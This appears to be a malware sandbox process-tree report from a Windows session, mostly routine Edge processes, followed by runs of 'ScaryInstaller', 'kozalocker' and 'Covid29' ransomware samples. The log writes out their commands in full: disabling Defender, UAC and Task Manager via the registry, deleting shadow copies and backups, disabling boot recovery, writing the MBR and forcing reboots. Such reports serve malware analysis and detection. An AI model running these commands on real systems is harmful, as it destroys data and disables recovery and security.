- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2636 /prefetch:8
  2⤵
  PID:2500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:2584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:1
  2⤵
  PID:1824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3252 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:2888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4872 /prefetch:1
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:1504
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4520 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
  2⤵
  PID:652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
  2⤵
  PID:4220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4588 /prefetch:1
  2⤵
  PID:2112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5396 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5628 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1
  2⤵
  PID:5016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:2864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
  2⤵
  PID:4600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
  2⤵
  PID:3936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6252 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4672 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
  2⤵
  PID:4028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6712 /prefetch:8
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4608 /prefetch:8
  2⤵
  PID:4156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6700 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:3752
- C:\Users\Admin\Downloads\ScaryInstaller.exe
  "C:\Users\Admin\Downloads\ScaryInstaller.exe"
  2⤵
  - Executes dropped EXE
  PID:1548
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B953.tmp\creep.cmd" "
    3⤵
    - Modifies registry class
    PID:2080
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im explorer.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5684
  - - C:\Users\Admin\AppData\Local\Temp\B953.tmp\CreepScreen.exe
      CreepScreen.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:5736
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2856
  - - C:\Users\Admin\AppData\Local\Temp\B953.tmp\melter.exe
      melter.exe
      4⤵
      Executes dropped EXE
      PID:2492
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2444
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im CreepScreen.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im melter.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5948
  - - C:\Program Files\VideoLAN\VLC\vlc.exe
      "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\B953.tmp\scarr.mp4"
      4⤵
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:3816
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
      4⤵
      Sets desktop wallpaper using registry
      PID:6028
  - - C:\Windows\SysWOW64\rundll32.exe
      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:6056
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5384
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:968
  - - C:\Windows\SysWOW64\reg.exe
      Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:6088
  - - C:\Windows\SysWOW64\reg.exe
      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6120
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\net.exe
      net user Admin /fullname:"IT'S TOO LATE!!!"
      4⤵
      PID:4456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
        5⤵
        
        PID:2772
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 8 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5208
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1468
- C:\Users\Admin\Downloads\ScaryInstaller.exe
  "C:\Users\Admin\Downloads\ScaryInstaller.exe"
  2⤵
  - Executes dropped EXE
  PID:4172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\56FB.tmp\creep.cmd" "
    3⤵
    - Modifies registry class
    PID:2200
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im explorer.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\56FB.tmp\CreepScreen.exe
      CreepScreen.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1704
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3452
  - - C:\Users\Admin\AppData\Local\Temp\56FB.tmp\melter.exe
      melter.exe
      4⤵
      Executes dropped EXE
      PID:5468
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:72
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im CreepScreen.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im melter.exe
      4⤵
      Kills process with taskkill
      PID:5368
  - - C:\Program Files\VideoLAN\VLC\vlc.exe
      "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\56FB.tmp\scarr.mp4"
      4⤵
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:3916
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
      4⤵
      Sets desktop wallpaper using registry
      PID:5548
  - - C:\Windows\SysWOW64\rundll32.exe
      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:5532
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5068
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:5008
  - - C:\Windows\SysWOW64\reg.exe
      Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:4060
  - - C:\Windows\SysWOW64\reg.exe
      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2792
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
      4⤵
      PID:5084
  - - C:\Windows\SysWOW64\net.exe
      net user Admin /fullname:"IT'S TOO LATE!!!"
      4⤵
      PID:3580
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
        5⤵
        
        PID:4436
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 8 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5708
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
      4⤵
      PID:5912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:1
  2⤵
  PID:3568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1252 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\kozalocker (1).bat" "
  2⤵
  PID:6124
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    PID:6116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6852 /prefetch:1
  2⤵
  PID:3700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5844 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:6052

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1724

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2004

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004CC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2972

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:836

C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe"
1⤵
PID:2192
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\178A.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - Modifies registry class
  PID:1920
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\178A.tmp\fakeerror.vbs"
    3⤵
    PID:1044
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - Runs ping.exe
    PID:3756
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4624
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4868
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2960
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3864
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:864
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1544
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1888
- - C:\Users\Admin\AppData\Local\Temp\178A.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:3380
- - C:\Users\Admin\AppData\Local\Temp\178A.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3492
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:3864
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:4620
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3416
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:796
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:280
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:304
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:5048
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:2900
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:5284
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - Runs ping.exe
    PID:2252
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5420
- - C:\Users\Admin\AppData\Local\Temp\178A.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5456

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:436

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3756

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:288

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4624

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5356

